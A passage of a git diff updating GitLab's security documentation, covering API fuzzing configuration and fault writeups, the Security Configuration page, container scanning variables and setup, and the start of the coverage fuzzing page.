+ - template: API-Fuzzing.gitlab-ci.yml
+
+variables:
+ FUZZAPI_PROFILE: Quick
+ FUZZAPI_OPENAPI: test-api-specification.json
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ FUZZAPI_OVERRIDES_ENV: '{"headers":{"X-API-Version":"2"}}'
+```
+
+In this example `.gitlab-ci.yml`, the CI/CD variable `SECRET_OVERRIDES` provides the JSON. This is a
+[group or instance level environment variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-environment-variables):
+
+```yaml
+include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+variables:
+ FUZZAPI_PROFILE: Quick
+ FUZZAPI_OPENAPI: test-api-specification.json
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ FUZZAPI_OVERRIDES_ENV: $SECRET_OVERRIDES
+```
+
+#### Using a command
+
+If the value must be generated or regenerated on expiration, you can provide a program or script for
+the API fuzzer to execute on a specified interval. The provided script runs in an Alpine Linux
+container that has Python 3 and Bash installed. If the Python script requires additional packages,
+it must detect this and install the packages at runtime. The script creates the overrides JSON file
+as defined above.
+
+You must provide three variables, each set for correct operation:
+
+- `FUZZAPI_OVERRIDES_FILE`: File generated by the provided command.
+- `FUZZAPI_OVERRIDES_CMD`: Command to generate JSON file.
+- `FUZZAPI_OVERRIDES_INTERVAL`: Interval in seconds to run command.
+
+```yaml
+include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+variables:
+ FUZZAPI_PROFILE: Quick
+ FUZZAPI_OPENAPI: test-api-specification.json
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json
+ FUZZAPI_OVERRIDES_CMD: renew_token.py
+ FUZZAPI_OVERRIDES_INTERVAL: 300
+```
+
+## Running your first scan
+
+When configured correctly, a CI/CD pipeline contains a `Fuzz` stage and a `apifuzzer_fuzz` job. The
+job only fails when an invalid configuration is provided. During normal operation, the job always
+succeeds even if faults are identified during fuzz testing.
+
+Faults are displayed on the **Tests** pipeline tab with the suite name **API-Fuzzing**. The **Name**
+field on the **Tests** page includes the fuzz-tested operation and parameter. The **Trace** field
+contains a writeup of the identified fault. This writeup contains information on what the fuzzer
+tested and how it detected something wrong.
+
+To prevent an excessive number of reported faults, the API fuzzing scanner limits the number of
+faults it reports to one per parameter.
+
+### Fault Writeup
+
+The faults that API fuzzing finds aren't associated with a specific vulnerability type. They require
+investigation to determine what type of issue they are and if they should be fixed. See
+[handling false positives](#handling-false-positives) for information about configuration changes
+you can make to limit the number of false positives reported.
+
+This table contains a description of fields in an API fuzzing fault writeup.
+
+| Writeup Item | Description |
+|:-------------|:------------|
+| Operation | The operation tested. |
+| Parameter | The field modified. This can be a path segment, header, query string, or body element. |
+| Endpoint | The endpoint being tested. |
+| Check | Check module producing the test. Checks can be turned on and off. |
+| Assert | Assert module that detected a failure. Assertions can be configured and turned on and off. |
+| CWE | Fuzzing faults always have the same CWE. |
+| OWASP | Fuzzing faults always have the same OWASP ID. |
+| Exploitability | Fuzzing faults always have an `unknown` exploitability. |
+| Impact | Fuzzing faults always have an `unknown` risk impact. |
+| Description | Verbose description of what the check did. Includes the original parameter value and the modified (mutated) value. |
+| Detection | Why a failure was detected and reported. This is related to the Assert that was used. |
+| Original Request | The original, unmodified HTTP request. Useful when reviewing the actual request to see what changes were made. |
+| Actual Request | The request that produced the failure. This request has been modified in some way by the Check logic. |
+| Actual Response | The response to the actual request. |
+| Recorded Request | An unmodified request. |
+| Recorded Response | The response to the unmodified request. You can compare this with the actual request when triaging this fault. |
+
+## Handling False Positives
+
+False positives can be handled in two ways:
+
+- Turn off the Check producing the false positive. This prevents the check from generating any
+ faults. Example checks are the JSON Fuzzing Check, and Form Body Fuzzing Check.
+- Fuzzing checks have several methods of detecting when a fault is identified, called _Asserts_.
+ Asserts can also be turned off and configured. For example, the API fuzzer by default uses HTTP
+ status codes to help identify when something is a real issue. If an API returns a 500 error during
+ testing, this creates a fault. This isn't always desired, as some frameworks return 500 errors
+ often.
+
+### Turn off a Check
+
+Checks perform testing of a specific type and can be turned on and off for specific configuration
+profiles. The provided [configuration files](#configuration-files) define several profiles that you
+can use. The profile definition in the configuration file lists all the checks that are active
+during a scan. To turn off a specific check, simply remove it from the profile definition in the
+configuration file. The profiles are defined in the `Profiles` section of the configuration file.
+
+Example profile definition:
+
+```yaml
+Profiles:
+ - Name: Quick-10
+ DefaultProfile: Quick
+ Routes:
+ - Route: *Route0
+ Checks:
+ - Name: FormBodyFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+ - Name: GeneralFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+ - Name: JsonFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+ - Name: XmlFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+```
+
+To turn off the General Fuzzing Check you can remove these lines:
+
+```yaml
+- Name: GeneralFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+```
+
+This results in the following YAML:
+
+```yaml
+- Name: Quick-10
+ DefaultProfile: Quick
+ Routes:
+ - Route: *Route0
+ Checks:
+ - Name: FormBodyFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+ - Name: JsonFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+ - Name: XmlFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+```
+
+### Turn off an Assertion for a Check
+
+Assertions detect faults in tests produced by checks. Many checks support multiple Assertions such
+as Log Analysis, Response Analysis, and Status Code. When a fault is found, the Assertion used is
+provided. To identify which Assertions are on by default, see the Checks default configuration in
+the configuration file. The section is called `Checks`.
+
+This example shows the FormBody Fuzzing Check:
+
+```yaml
+Checks:
+ - Name: FormBodyFuzzingCheck
+ Configuration:
+ FuzzingCount: 30
+ UnicodeFuzzing: true
+ Assertions:
+ - Name: LogAnalysisAssertion
+ - Name: ResponseAnalysisAssertion
+ - Name: StatusCodeAssertion
+```
+
+Here you can see three Assertions are on by default. A common source of false positives is
+`StatusCodeAssertion`. To turn it off, modify its configuration in the `Profiles` section. This
+example provides only the other two Assertions (`LogAnalysisAssertion`,
+`ResponseAnalysisAssertion`). This prevents `FormBodyFuzzingCheck` from using `StatusCodeAssertion`:
+
+```yaml
+Profiles:
+ - Name: Quick-10
+ DefaultProfile: Quick
+ Routes:
+ - Route: *Route0
+ Checks:
+ - Name: FormBodyFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+ Assertions:
+ - Name: LogAnalysisAssertion
+ - Name: ResponseAnalysisAssertion
+ - Name: GeneralFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+ - Name: JsonFuzzingCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+ - Name: XmlInjectionCheck
+ Configuration:
+ FuzzingCount: 10
+ UnicodeFuzzing: true
+```
+
+<!--
+### Target Container
+
+The API Fuzzing template supports launching a docker container containing an API target using docker-in-docker.
+
+TODO
+-->
+
+## Glossary
+
+- Assert: Assertions are detection modules used by checks to trigger a fault. Many assertions have
+ configurations. A check can use multiple Assertions. For example, Log Analysis, Response Analysis,
+ and Status Code are common Assertions used together by checks. Checks with multiple Assertions
+ allow them to be turned on and off.
+- Check: Performs a specific type of test, or performed a check for a type of vulnerability. For
+ example, the JSON Fuzzing Check performs fuzz testing of JSON payloads. The API fuzzer is
+ comprised of several checks. Checks can be turned on and off in a profile.
+- Fault: During fuzzing, a failure identified by an Assert is called a fault. Faults are
+ investigated to determine if they are a security vulnerability, a non-security issue, or a false
+ positive. Faults don't have a known vulnerability type until they are investigated. Example
+ vulnerability types are SQL Injection and Denial of Service.
+- Profile: A configuration file has one or more testing profiles, or sub-configurations. You may
+ have a profile for feature branches and another with extra testing for a main branch.
diff --git a/doc/user/application_security/configuration/index.md b/doc/user/application_security/configuration/index.md
index 1195d07d7b7..a6ad701360e 100644
--- a/doc/user/application_security/configuration/index.md
+++ b/doc/user/application_security/configuration/index.md
@@ -7,23 +7,41 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Security Configuration **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20711) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20711) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6.
+> - SAST configuration was [enabled](https://gitlab.com/groups/gitlab-org/-/epics/3659) in 13.3 and [improved](https://gitlab.com/gitlab-org/gitlab/-/issues/232862) in 13.4.
+> - DAST Profiles feature was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40474) in 13.4.
-The Security Configuration page displays the configuration state of each security feature in the
-current project. The page uses the project's latest default branch [CI pipeline](../../../ci/pipelines/index.md)
-to determine each feature's configuration state. If a job with the expected security report artifact
-exists in the pipeline, the feature is considered enabled.
+The Security Configuration page displays the configuration state of each security control in the
+current project.
-You can only enable SAST from the Security Configuration page. Documentation links are included for
-the other features. For details about configuring SAST, see [Configure SAST in the UI](../sast/index.md#configure-sast-in-the-ui).
+To view a project's security configuration, go to the project's home page,
+then in the left sidebar go to **Security & Compliance > Configuration**.
+
+For each security control the page displays:
+
+- **Status** - Status of the security control: enabled, not enabled, or available.
+- **Manage** - A management option or a link to the documentation.
+
+## Status
+
+The status of each security control is determined by the project's latest default branch
+[CI pipeline](../../../ci/pipelines/index.md).
+If a job with the expected security report artifact exists in the pipeline, the feature's status is
+_enabled_.
+
+For SAST, click **View history** to see the `.gitlab-ci.yml` file’s history.
NOTE: **Note:**
If the latest pipeline used [Auto DevOps](../../../topics/autodevops/index.md),
all security features are configured by default.
-## View Security Configuration
+## Manage
-To view a project's security configuration:
+You can configure the following security controls:
-1. Go to the project's home page.
-1. In the left sidebar, go to **Security & Configuration** > **Configuration**.
+- Auto DevOps
+ - Click **Enable Auto DevOps** to enable it for the current project. For more details, see [Auto DevOps](../../../topics/autodevops/index.md).
+- SAST
+ - Click either **Enable** or **Configure** to use SAST for the current project. For more details, see [Configure SAST in the UI](../sast/index.md#configure-sast-in-the-ui).
+- DAST Profiles
+ - Click **Manage** to manage the available DAST profiles used for on-demand scans. For more details, see [DAST on-demand scans](../dast/index.md#on-demand-scans).
diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md
index 6b7086ddc71..880e5a3875a 100644
--- a/doc/user/application_security/container_scanning/index.md
+++ b/doc/user/application_security/container_scanning/index.md
@@ -26,7 +26,7 @@ To integrate security scanners other than Clair and Klar into GitLab, see
You can enable container scanning by doing one of the following:
- [Include the CI job](#configuration) in your existing `.gitlab-ci.yml` file.
-- Implicitly use [Auto Container Scanning](../../../topics/autodevops/stages.md#auto-container-scanning-ultimate)
+- Implicitly use [Auto Container Scanning](../../../topics/autodevops/stages.md#auto-container-scanning)
provided by [Auto DevOps](../../../topics/autodevops/index.md).
GitLab compares the found vulnerabilities between the source and target branches, and shows the
@@ -40,12 +40,12 @@ information directly in the merge request.
## Requirements
-To enable Container Scanning in your pipeline, you need the following:
+To enable container scanning in your pipeline, you need the following:
-- [GitLab Runner](https://docs.gitlab.com/runner/) with the [Docker](https://docs.gitlab.com/runner/executors/docker.html)
- or [Kubernetes](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
-- Docker `18.09.03` or higher installed on the same computer as the Runner. If you're using the
- shared Runners on GitLab.com, then this is already the case.
+- [GitLab Runner](https://docs.gitlab.com/runner/) with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html)
+ or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
+- Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the
+ shared runners on GitLab.com, then this is already the case.
- [Build and push](../../packages/container_registry/index.md#container-registry-examples-with-gitlab-cicd)
your Docker image to your project's container registry. The name of the Docker image should use
the following [predefined environment variables](../../../ci/variables/predefined_variables.md):
@@ -72,7 +72,7 @@ To enable Container Scanning in your pipeline, you need the following:
## Configuration
-How you enable Container Scanning depends on your GitLab version:
+How you enable container scanning depends on your GitLab version:
- GitLab 11.9 and later: [Include](../../../ci/yaml/README.md#includetemplate) the
[`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml)
@@ -91,16 +91,16 @@ include:
The included template:
- Creates a `container_scanning` job in your CI/CD pipeline.
-- Pulls the built Docker image from your project's [Container Registry](../../packages/container_registry/index.md)
+- Pulls the built Docker image from your project's [container registry](../../packages/container_registry/index.md)
(see [requirements](#requirements)) and scans it for possible vulnerabilities.
GitLab saves the results as a
-[Container Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscontainer_scanning-ultimate)
+[Container Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscontainer_scanning)
that you can download and analyze later. When downloading, you always receive the most-recent
artifact.
-The following is a sample `.gitlab-ci.yml` that builds your Docker image, pushes it to the Container
-Registry, and scans the containers:
+The following is a sample `.gitlab-ci.yml` that builds your Docker image, pushes it to the container
+registry, and scans the containers:
```yaml
variables:
@@ -127,7 +127,7 @@ include:
- template: Container-Scanning.gitlab-ci.yml
```
-### Customizing the Container Scanning settings
+### Customizing the container scanning settings
There may be cases where you want to customize how GitLab scans your containers. For example, you
may want to enable more verbose output from Clair or Klar, access a Docker registry that requires
@@ -136,7 +136,7 @@ parameter in your `.gitlab-ci.yml` to set [environment variables](#available-var
The environment variables you set in your `.gitlab-ci.yml` overwrite those in
`Container-Scanning.gitlab-ci.yml`.
-This example [includes](../../../ci/yaml/README.md#include) the Container Scanning template and
+This example [includes](../../../ci/yaml/README.md#include) the container scanning template and
enables verbose output from Clair by setting the `CLAIR_OUTPUT` environment variable to `High`:
```yaml
@@ -153,30 +153,30 @@ variables:
#### Available variables
-Container Scanning can be [configured](#customizing-the-container-scanning-settings)
-using environment variables.
-
-| Environment Variable | Default | Description |
-| -------------------- | ----------- | ------- |
-| `SECURE_ANALYZERS_PREFIX` | `"registry.gitlab.com/gitlab-org/security-products/analyzers"` | Set the Docker registry base address from which to download the analyzer. |
-| `KLAR_TRACE` | `"false"` | Set to true to enable more verbose output from klar. |
-| `CLAIR_TRACE` | `"false"` | Set to true to enable more verbose output from the clair server process. |
-| `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. |
-| `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. |
-| `CLAIR_OUTPUT` | `Unknown` | Severity level threshold. Vulnerabilities with severity level higher than or equal to this threshold are outputted. Supported levels are `Unknown`, `Negligible`, `Low`, `Medium`, `High`, `Critical` and `Defcon1`. |
-| `REGISTRY_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access insecure registries (HTTP only). Should only be set to `true` when testing the image locally. |
-| `DOCKER_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access secure Docker registries using HTTPS with bad (or self-signed) SSL certificates. |
-| `CLAIR_VULNERABILITIES_DB_URL` | `clair-vulnerabilities-db` | (**DEPRECATED - use `CLAIR_DB_CONNECTION_STRING` instead**) This variable is explicitly set in the [services section](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) of the `Container-Scanning.gitlab-ci.yml` file and defaults to `clair-vulnerabilities-db`. This value represents the address that the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) is running on and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone Container Scanning Tool](#running-the-standalone-container-scanning-tool) section. |
-| `CLAIR_DB_CONNECTION_STRING` | `postgresql://postgres:password@clair-vulnerabilities-db:5432/postgres?sslmode=disable&statement_timeout=60000` | This variable represents the [connection string](https://www.postgresql.org/docs/9.3/libpq-connect.html#AEN39692) to the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) database and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone Container Scanning Tool](#running-the-standalone-container-scanning-tool) section. The host value for the connection string must match the [alias](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) value of the `Container-Scanning.gitlab-ci.yml` template file, which defaults to `clair-vulnerabilities-db`. |
-| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. |
-| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. |
-| `CLAIR_DB_IMAGE` | `arminc/clair-db:latest` | The Docker image name and tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes, or to refer to a locally hosted vulnerabilities database for an on-premise offline installation. |
-| `CLAIR_DB_IMAGE_TAG` | `latest` | (**DEPRECATED - use `CLAIR_DB_IMAGE` instead**) The Docker image tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes. |
-| `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to be used for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project, so this variable should only be configured if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. |
-| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. |
-| `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. |
-
-### Overriding the Container Scanning template
+You can [configure](#customizing-the-container-scanning-settings) container
+scanning by using the following environment variables:
+
+| Environment Variable | Default | Description |
+| ------------------------------ | ------------- | ----------- |
+| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. |
+| `CLAIR_DB_CONNECTION_STRING` | `postgresql://postgres:password@clair-vulnerabilities-db:5432/postgres?sslmode=disable&statement_timeout=60000` | This variable represents the [connection string](https://www.postgresql.org/docs/9.3/libpq-connect.html#AEN39692) to the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) database and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool) section. The host value for the connection string must match the [alias](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) value of the `Container-Scanning.gitlab-ci.yml` template file, which defaults to `clair-vulnerabilities-db`. |
+| `CLAIR_DB_IMAGE` | `arminc/clair-db:latest` | The Docker image name and tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes, or to refer to a locally hosted vulnerabilities database for an on-premise offline installation. |
+| `CLAIR_DB_IMAGE_TAG` | `latest` | (**DEPRECATED - use `CLAIR_DB_IMAGE` instead**) The Docker image tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes. |
+| `CLAIR_OUTPUT` | `Unknown` | Severity level threshold. Vulnerabilities with severity level higher than or equal to this threshold are outputted. Supported levels are `Unknown`, `Negligible`, `Low`, `Medium`, `High`, `Critical` and `Defcon1`. |
+| `CLAIR_TRACE` | `"false"` | Set to true to enable more verbose output from the clair server process. |
+| `CLAIR_VULNERABILITIES_DB_URL` | `clair-vulnerabilities-db` | (**DEPRECATED - use `CLAIR_DB_CONNECTION_STRING` instead**) This variable is explicitly set in the [services section](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) of the `Container-Scanning.gitlab-ci.yml` file and defaults to `clair-vulnerabilities-db`. This value represents the address that the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) is running on and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool) section. |
+| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. |
+| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. |
+| `DOCKER_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access secure Docker registries using HTTPS with bad (or self-signed) SSL certificates. |
+| `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. |
+| `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. |
+| `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to be used for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project, so this variable should only be configured if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. |
+| `KLAR_TRACE` | `"false"` | Set to true to enable more verbose output from klar. |
+| `REGISTRY_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access insecure registries (HTTP only). Should only be set to `true` when testing the image locally. |
+| `SECURE_ANALYZERS_PREFIX` | `"registry.gitlab.com/gitlab-org/security-products/analyzers"` | Set the Docker registry base address from which to download the analyzer. |
+| `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. |
+
+### Overriding the container scanning template
If you want to override the job definition (for example, to change properties like `variables`), you
must declare a `container_scanning` job after the template inclusion, and then
@@ -201,35 +201,35 @@ instead.
To allowlist specific vulnerabilities, follow these steps:
1. Set `GIT_STRATEGY: fetch` in your `.gitlab-ci.yml` file by following the instructions in
- [overriding the Container Scanning template](#overriding-the-container-scanning-template).
+ [overriding the container scanning template](#overriding-the-container-scanning-template).
1. Define the allowlisted vulnerabilities in a YAML file named `vulnerability-allowlist.yml`. This must use
the format described in the [allowlist example file](https://gitlab.com/gitlab-org/security-products/analyzers/klar/-/raw/master/testdata/vulnerability-allowlist.yml).
1. Add the `vulnerability-allowlist.yml` file to your project's Git repository.
-### Running Container Scanning in an offline environment
+### Running container scanning in an offline environment
For self-managed GitLab instances in an environment with limited, restricted, or intermittent access
-to external resources through the internet, some adjustments are required for the Container Scanning job to
+to external resources through the internet, some adjustments are required for the container scanning job to
successfully run. For more information, see [Offline environments](../offline_deployments/index.md).
-#### Requirements for offline Container Scanning
+#### Requirements for offline container Scanning
-To use Container Scanning in an offline environment, you need:
+To use container scanning in an offline environment, you need:
- GitLab Runner with the [`docker` or `kubernetes` executor](#requirements).
-- To configure a local Docker Container Registry with copies of the Container Scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/klar) images, found in the [Container Scanning container registry](https://gitlab.com/gitlab-org/security-products/analyzers/klar/container_registry).
+- To configure a local Docker container registry with copies of the container scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/klar) images, found in the [container scanning container registry](https://gitlab.com/gitlab-org/security-products/analyzers/klar/container_registry).
NOTE: **Note:**
GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
-meaning the Runner tries to pull Docker images from the GitLab container registry even if a local
-copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
+meaning the runner tries to pull Docker images from the GitLab container registry even if a local
+copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
in an offline environment if you prefer using only locally available Docker images. However, we
recommend keeping the pull policy setting to `always` if not in an offline environment, as this
enables the use of updated scanners in your CI/CD pipelines.
-#### Make GitLab Container Scanning analyzer images available inside your Docker registry
+#### Make GitLab container scanning analyzer images available inside your Docker registry
-For Container Scanning, import the following default images from `registry.gitlab.com` into your
+For container scanning, import the following default images from `registry.gitlab.com` into your
[local Docker container registry](../../packages/container_registry/index.md):
```plaintext
@@ -249,7 +249,7 @@ For details on saving and transporting Docker images as a file, see Docker's doc
[`docker save`](https://docs.docker.com/engine/reference/commandline/save/), [`docker load`](https://docs.docker.com/engine/reference/commandline/load/),
[`docker export`](https://docs.docker.com/engine/reference/commandline/export/), and [`docker import`](https://docs.docker.com/engine/reference/commandline/import/).
-#### Set Container Scanning CI job variables to use local Container Scanner analyzers
+#### Set container scanning CI job variables to use local container scanner analyzers
1. [Override the container scanning template](#overriding-the-container-scanning-template) in your `.gitlab-ci.yml` file to refer to the Docker images hosted on your local Docker container registry:
@@ -267,10 +267,10 @@ For details on saving and transporting Docker images as a file, see Docker's doc
self-signed certificate, then you must set `DOCKER_INSECURE: "true"` in the above
`container_scanning` section of your `.gitlab-ci.yml`.
-#### Automating Container Scanning vulnerability database updates with a pipeline
+#### Automating container scanning vulnerability database updates with a pipeline
It can be worthwhile to set up a [scheduled pipeline](../../../ci/pipelines/schedules.md) to
-automatically build a new version of the vulnerabilities database on a preset schedule. Automating
+build a new version of the vulnerabilities database on a preset schedule. Automating
this with a pipeline means you won't have to do it manually each time. You can use the following
`.gitlab-yml.ci` as a template:
@@ -293,9 +293,9 @@ build_latest_vulnerabilities:
The above template works for a GitLab Docker registry running on a local installation, however, if you're using a non-GitLab Docker registry, you'll need to change the `$CI_REGISTRY` value and the `docker login` credentials to match the details of your local registry.
-## Running the standalone Container Scanning Tool
+## Running the standalone container scanning tool
-It's possible to run the [GitLab Container Scanning Tool](https://gitlab.com/gitlab-org/security-products/analyzers/klar)
+It's possible to run the [GitLab container scanning tool](https://gitlab.com/gitlab-org/security-products/analyzers/klar)
against a Docker container without needing to run it within the context of a CI job. To scan an
image directly, follow these steps:
@@ -329,10 +329,10 @@ The results are stored in `gl-container-scanning-report.json`.
## Reports JSON format
-The Container Scanning tool emits a JSON report file. For more information, see the
+The container scanning tool emits a JSON report file. For more information, see the
[schema for this report](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/container-scanning-report-format.json).
-Here's an example Container Scanning report:
+Here's an example container scanning report:
```json-doc
{
@@ -401,7 +401,7 @@ For more information about the vulnerabilities database update, check the
## Interacting with the vulnerabilities
-Once a vulnerability is found, you can [interact with it](../index.md#interacting-with-the-vulnerabilities).
+After a vulnerability is found, you can [interact with it](../index.md#interacting-with-the-vulnerabilities).
## Solutions for vulnerabilities (auto-remediation)
@@ -413,7 +413,7 @@ the [`DOCKERFILE_PATH`](#available-variables) environment variable. To ensure th
has access to this
file, it's necessary to set [`GIT_STRATEGY: fetch`](../../../ci/yaml/README.md#git-strategy) in
your `.gitlab-ci.yml` file by following the instructions described in this document's
-[overriding the Container Scanning template](#overriding-the-container-scanning-template) section.
+[overriding the container scanning template](#overriding-the-container-scanning-template) section.
Read more about the [solutions for vulnerabilities](../index.md#solutions-for-vulnerabilities-auto-remediation).
@@ -421,8 +421,8 @@ Read more about the [solutions for vulnerabilities](../index.md#solutions-for-vu
### `docker: Error response from daemon: failed to copy xattrs`
-When the GitLab Runner uses the Docker executor and NFS is used
-(for example, `/var/lib/docker` is on an NFS mount), Container Scanning might fail with
+When the runner uses the `docker` executor and NFS is used
+(for example, `/var/lib/docker` is on an NFS mount), container scanning might fail with
an error like the following:
```plaintext
@@ -430,6 +430,6 @@ docker: Error response from daemon: failed to copy xattrs: failed to set xattr "
```
This is a result of a bug in Docker which is now [fixed](https://github.com/containerd/continuity/pull/138 "fs: add WithAllowXAttrErrors CopyOpt").
-To prevent the error, ensure the Docker version that the Runner is using is
+To prevent the error, ensure the Docker version that the runner is using is
`18.09.03` or higher. For more information, see
[issue #10241](https://gitlab.com/gitlab-org/gitlab/-/issues/10241 "Investigate why Container Scanning is not working with NFS mounts").
diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md
index 1672e9fbb25..dff71cb9445 100644
--- a/doc/user/application_security/coverage_fuzzing/index.md
+++ b/doc/user/application_security/coverage_fuzzing/index.md
@@ -25,9 +25,11 @@ Docker image with the fuzz engine to run your app.
| Language | Fuzzing Engine | Example |
|----------|----------------|---------|
-| C/C++ | [libFuzzer](https://llvm.org/docs/LibFuzzer.html) | [c-cpp-example](https://gitlab.com/gitlab-org/security-products/demos/c-cpp-fuzzing-example) |
-| GoLang | [go-fuzz (libFuzzer support)](https://github.com/dvyukov/go-fuzz) | [go-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/go-fuzzing-example) |
-| Rust | [cargo-fuzz (libFuzzer support)](https://github.com/rust-fuzz/cargo-fuzz) | |
